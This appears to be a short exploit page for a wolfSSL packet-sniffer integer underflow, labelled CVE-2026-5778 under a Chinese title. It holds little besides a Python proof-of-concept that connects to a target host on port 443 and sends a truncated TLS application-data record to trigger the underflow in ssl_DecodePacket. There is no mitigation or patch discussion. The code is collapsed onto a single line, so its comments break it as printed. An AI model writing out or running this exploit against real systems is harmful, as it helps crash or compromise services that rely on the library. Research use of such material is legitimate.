CVE-2026-5778 wolfSSL包嗅探器整数下溢漏洞

import socket import struct # Target IP and Port (Example) TARGET_IP = "192.168.1.100" TARGET_PORT = 443 # This PoC demonstrates the concept of sending a malformed TLS record. # The length field is set to be smaller than the IV + Auth Tag, # triggering the integer underflow in ssl_DecodePacket. def create_malformed_tls_record(): # TLS Record Layer Content Type: Application Data (0x17) content_type = b'\x17' # TLS Version: TLS 1.2 (0x03, 0x03) version = b'\x03\x03' # Normal AEAD ciphers (like AES-GCM) have explicit IV (usually 8 bytes) + Tag (16 bytes) = 24 bytes overhead. # To trigger underflow, we set length < 24. Let's use 10. # Length: 10 bytes length = struct.pack('!H', 10) # Payload (10 bytes of dummy data) payload = b'A' * 10 return content_type + version + length + payload def send_exploit(): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_IP, TARGET_PORT)) # Send malformed TLS record payload = create_malformed_tls_record() sock.sendall(payload) print("[+] Malformed TLS record sent to target.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()